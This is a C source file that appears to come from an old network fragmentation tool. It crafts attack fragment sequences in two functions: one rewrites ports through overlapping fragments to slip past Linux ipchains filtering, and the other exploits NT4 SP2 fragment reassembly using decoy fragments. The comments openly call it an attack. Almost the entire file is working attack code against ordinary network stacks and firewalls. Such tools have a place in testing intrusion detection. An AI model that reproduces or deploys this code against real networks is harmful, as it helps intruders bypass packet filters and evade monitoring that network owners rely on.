1 /*
2 misc.c
3
4 Dug Song <dugsong@anzen.com>
5
6 Copyright (c) 1999 Anzen Computing. All rights reserved.
7
8 Redistribution and use in source and binary forms, with or without
9 modification, are permitted provided that the following conditions
10 are met:
11
12 1. Redistributions of source code must retain the above copyright
13 notice, this list of conditions and the following disclaimer.
14 2. Redistributions in binary form must reproduce the above copyright
15 notice, this list of conditions and the following disclaimer in the
16 documentation and/or other materials provided with the distribution.
17 3. All advertising materials mentioning features or use of this software
18 must display the following acknowledgement:
19 This product includes software developed by Anzen Computing.
20 4. Neither the name of Anzen Computing nor the names of its
21 contributors may be used to endorse or promote products derived
22 from this software without specific prior written permission.
23
24 THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED
25 WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
26 MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
27 IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
28 DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
29 DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
30 GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
31 INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER
32 IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
33 OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
34 ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
35
36 $Id: misc.c,v 1.6 1999/07/25 15:55:06 dugsong Exp $
37 */
38
39 #include "config.h"
40
41 #include <libnet.h>
42 #include "list.h"
43 #include "misc.h"
44
45 #define IPCHAINS_SPORT 1025
46 #define IPCHAINS_DPORT 53
47
48 ELEM *
misc_linuxipchains(u_char * pkt,int pktlen)49 misc_linuxipchains(u_char *pkt, int pktlen)
50 {
51 ELEM *new, *list = NULL;
52
53 struct ip *iph = (struct ip *)pkt;
54 struct udphdr *udp;
55 int ip_hl = iph->ip_hl * 4;
56 int ip_len = ntohs(iph->ip_len);
57 int hlen = 0;
58 u_char *data;
59
60 switch (iph->ip_p) {
61 case IPPROTO_UDP:
62 hlen = UDP_H;
63 break;
64 case IPPROTO_TCP:
65 hlen = 16;
66 break;
67 default:
68 return NULL;
69 }
70 if (ip_len - ip_hl < hlen)
71 return NULL;
72
73 /*
74 We want to replace every packet with 3 fragments:
75 The first being a full header which meets the packet
76 filter, the second being a short fragment that
77 rewrites the ports to the desired ports, and then
78 the third fragment to finish out the series.
79 */
80 if (!(data = malloc(ip_hl + hlen))) return NULL;
81 memcpy(data, pkt, ip_hl + hlen);
82
83 ((struct ip *)data)->ip_len = htons(ip_hl + hlen);
84 ((struct ip *)data)->ip_off = htons(IP_MF);
85
86 udp = (struct udphdr *)(data + ip_hl);
87 udp->uh_sport = htons(IPCHAINS_SPORT);
88 udp->uh_dport = htons(IPCHAINS_DPORT);
89
90 /* Add to our IP fragment list. */
91 new = list_elem(data, ip_hl + hlen);
92 free(data);
93 if (!(list = list_add(list, new)))
94 return NULL;
95
96 if (!(data = malloc(ip_hl + 4))) return NULL;
97 memcpy(data, pkt, ip_hl + 4);
98
99 ((struct ip *)data)->ip_len = htons(ip_hl + 4);
100 ((struct ip *)data)->ip_off = htons(IP_MF);
101
102 /* Add to our IP fragment list. */
103 new = list_elem(data, ip_hl + 4);
104 free(data);
105 if (!(list = list_add(list, new)))
106 return NULL;
107
108 if (!(data = malloc(ip_len - hlen))) return NULL;
109 memcpy(data, pkt, ip_hl);
110 memcpy(data + ip_hl, pkt + ip_hl + hlen, ip_len - ip_hl - hlen);
111
112 ((struct ip *)data)->ip_len = htons(ip_len - hlen);
113 ((struct ip *)data)->ip_off = htons(hlen >> 3);
114
115 /* Add to our IP fragment list. */
116 new = list_elem(data, ip_len - hlen);
117 free(data);
118 if (!(list = list_add(list, new)))
119 return NULL;
120
121 return (list->head);
122 }
123
124 ELEM *
misc_nt4sp2(u_char * pkt,int pktlen,int fragsize)125 misc_nt4sp2(u_char *pkt, int pktlen, int fragsize)
126 {
127 ELEM *new, *list = NULL;
128 struct ip *iph = (struct ip *)pkt;
129 struct udphdr *udph;
130 int ip_hl = iph->ip_hl * 4;
131 u_short ip_len = ntohs(iph->ip_len);
132 u_char *ip_blob = pkt + ip_hl;
133 u_char *ip_end = pkt + ip_len;
134 u_char *p, *data;
135 int ip_mf, hlen, len;
136
137 /*
138 Only handle UDP for now. TCP and ICMP don't seem to work,
139 probably because memory allocation is handled differently
140 (this attack relies on NT's TCP/IP stack using the same
141 chunk of memory twice). Need to learn NT kernel debugging...
142 */
143 if (iph->ip_p != IPPROTO_UDP)
144 return NULL;
145
146 hlen = UDP_H;
147 if (ip_len - ip_hl < (hlen + fragsize * 2)) return NULL;
148 len = hlen;
149
150 /* Fragment packet. */
151 for (p = ip_blob ; p < ip_end ; ) {
152 /* Penultimate frag should be marked as the last frag. */
153 if (ip_end - p <= fragsize * 2 && ip_end - p > fragsize)
154 ip_mf = 0;
155 else
156 ip_mf = IP_MF;
157
158 /*
159 XXX- pad out last frag to 8-byte multiple. NT doesn't like a short
160 fraglen in either the last marked or real last frag in this attack.
161 Should fix the UDP checksum too, but this is bogus to begin with.
162 */
163 if (len < fragsize) {
164 if (!(data = malloc(ip_hl + fragsize))) return NULL;
165 memset(data, 0, ip_hl + fragsize);
166 memcpy(data, pkt, ip_hl);
167 memcpy(data + ip_hl, p, len);
168 len = fragsize;
169 }
170 else {
171 /* Copy in IP header and data. */
172 if (!(data = malloc(ip_hl + len))) return NULL;
173 memcpy(data, pkt, ip_hl);
174 memcpy(data + ip_hl, p, len);
175 }
176 /* Correct IP length, IP fragment offset ("skip" first frag). */
177 ((struct ip *)data)->ip_len = htons(ip_hl + len);
178 ((struct ip *)data)->ip_off =
179 htons(ip_mf | ((p + hlen - ip_blob) >> 3));
180
181 /* Add to our IP fragment list. */
182 new = list_elem(data, ip_hl + len);
183 free(data);
184 if (!(list = list_add(list, new)))
185 return NULL;
186
187 /* Determine next fragment size. */
188 p += len;
189 len = ip_end - p;
190 if (len > fragsize)
191 len = fragsize;
192 }
193 /* Create preceding decoy frags. */
194 list_dup(list->head);
195 iph = (struct ip *)(list->head->data);
196 iph->ip_id = htons(ntohs(iph->ip_id) + ip_len); /* XXX */
197 iph->ip_off = htons(IP_MF);
198
199 /* Decoys will be to the discard port (9). */
200 udph = (struct udphdr *)(list->head->data + ip_hl);
201 udph->uh_dport = htons(9);
202
203 new = list_dup(list->head);
204 iph = (struct ip *)(new->data);
205 iph->ip_off = htons((list->head->len - ip_hl) >> 3);
206
207 return (list->head);
208 }
209